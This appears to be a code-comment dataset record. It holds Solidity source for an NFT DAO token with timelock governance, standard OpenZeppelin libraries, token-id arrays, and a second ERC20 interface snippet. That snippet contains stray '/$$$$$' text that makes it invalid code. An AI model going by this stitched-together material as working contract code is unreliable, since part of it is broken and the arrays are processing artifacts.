_sharesForSale.sub(amount); emit Transfer(msg.sender, address(0), amount); } /** * @notice increases shares for sale on the open market * * @param amount the amount to be minted */ function mintSharesForSale(uint256 amount) onlyTimeLock external { _totalSupply = _totalSupply.add(amount); _sharesForSale = _sharesForSale.add(amount); emit Transfer(address(0), address(this), amount); } /** * @notice changes the buyout price for the whole dao * * @param amount to set the new price */ function changeBuyoutPrice(uint256 amount) onlyTimeLock external { _buyoutPrice = amount; } /** * @notice allows the dao to set a specific nft on sale or to close the sale * * @param nftarrayid the nftarray id * @param price the buyout price for the specific nft * @param sale bool indicates the sale status */ function setNftSale(uint256 nftarrayid, uint256 price, bool sale) onlyTimeLock external { _raisedNftArray[nftarrayid].forSale = sale; _raisedNftArray[nftarrayid].price = price; } /** * @notice allows anyone to buy a specific nft if it is on sale * takes a fee of 0.5% on sale * @param nftarrayid the nftarray id */ function buySingleNft(uint256 nftarrayid) stillToBuy external payable { _raisedNftStruct memory singleNft = _raisedNftArray[nftarrayid]; require(singleNft.forSale, "Not for sale"); require(msg.value == singleNft.price, "Price too low"); singleNft.nftaddress.safeTransferFrom(address(this), msg.sender, singleNft.tokenid); // Take 0.5% fee address payable alchemyRouter = IAlchemyFactory(_factoryContract).getAlchemyRouter(); IAlchemyRouter(alchemyRouter).deposit{value:singleNft.price / 200}(); _ownedAlready[address(singleNft.nftaddress)][singleNft.tokenid] = false; _nftCount--; for (uint i = nftarrayid; i < _raisedNftArray.length - 1; i++) { _raisedNftArray[i] = _raisedNftArray[i+1]; } _raisedNftArray.pop(); } /** * @notice adds a new nft to the nft array * must be approved an transferred seperately * * @param new_nft the address of the new nft * @param tokenid the if of the nft token */ function addNft(address new_nft, uint256 tokenid) onlyTimeLock public { require(_ownedAlready[new_nft][tokenid] == false, "ALC: Cant add duplicate NFT"); _raisedNftStruct memory temp_struct; temp_struct.nftaddress = IERC721(new_nft); temp_struct.tokenid = tokenid; _raisedNftArray.push(temp_struct); _nftCount++; _ownedAlready[new_nft][tokenid] = true; } /** * @notice transfers an NFT to the DAO contract (called by executeTransaction function) * * @param new_nft the address of the new nft * @param tokenid the if of the nft token */ function transferFromAndAdd(address new_nft, uint256 tokenid) onlyTimeLock public { IERC721(new_nft).transferFrom(IERC721(new_nft).ownerOf(tokenid), address(this), tokenid); addNft(new_nft, tokenid); } /** * @notice returns the nft to the dao owner if allowed by the dao */ function sendNftBackToOwner(uint256 nftarrayid) onlyTimeLock public { _raisedNftStruct memory singleNft = _raisedNftArray[nftarrayid]; singleNft.nftaddress.safeTransferFrom(address(this), _owner, singleNft.tokenid); _nftCount--; _ownedAlready[address(singleNft.nftaddress)][singleNft.tokenid] = false; for (uint i = nftarrayid; i < _raisedNftArray.length - 1; i++) { _raisedNftArray[i] = _raisedNftArray[i+1]; } _raisedNftArray.pop(); } /** * @notice executes any transaction * * @param target the target of the call * @param value the value of the call * @param signature the signature of the function call * @param data the calldata */ function executeTransaction(address target, uint256 value, string memory signature, bytes memory data) onlyTimeLock external payable returns (bytes memory) { bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value:value}(callData); require(success, "ALC:exec reverted"); return returnData; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public pure returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. Uses burn abstraction for balance updates without gas and universally. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address dst, uint256 rawAmount) external override returns (bool) { uint256 amount = rawAmount; _transferTokens(msg.sender, dst, amount); return true; } /** * fallback function for collection funds */ fallback() external payable {} receive() external payable {} /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero ress. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address src, address dst, uint256 rawAmount) external override returns (bool) { address spender = msg.sender; uint256 spenderAllowance = _allowances[src][spender]; uint256 amount = rawAmount; if (spender != src && spenderAllowance != uint256(-1)) { uint256 newAllowance = spenderAllowance.sub(amount, "NFTDAO:amount exceeds"); _allowances[src][spender] = newAllowance; } _transferTokens(src, dst, amount); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), "ERC20: approve from 0"); require(spender != address(0), "ERC20: approve to 0"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "ERC20: transfer from 0"); require(recipient != address(0), "ERC20: transfer to 0"); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ALC:getPriorVotes"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint256 delegatorBalance = _balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint256 amount) internal { require(src != address(0), "ALC: cannot transfer 0"); require(dst != address(0), "ALC: cannot transfer 0"); _balances[src] = _balances[src].sub( amount, "ALC:_transferTokens"); _balances[dst] = _balances[dst].add( amount); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub( amount, "ALC:_moveVotes"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = safe32(block.number, "ALC:_writeCheck"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(newVotes, blockNumber); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } interface IAlchemyFactory { function getAlchemyRouter() external view returns (address payable); } interface IAlchemyRouter { function deposit() external payable; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
representing the governance contract of the nft
address public _governor;
594,884
[ 1, 28205, 310, 326, 314, 1643, 82, 1359, 6835, 434, 326, 290, 1222, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 1071, 389, 75, 1643, 29561, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x4E17e190618a4406dCD425E0C4d3dC5356398aF8/sources/JJJ.sol
/ ---------------------------------------------------------------------------- ERC Token Standard #20 Interface ----------------------------------------------------------------------------
contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); /$$$$$ /$$$$$ /$$$$$ }
15,647,734
[ 1, 19, 8879, 13849, 4232, 39, 3155, 8263, 4200, 6682, 8879, 13849, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
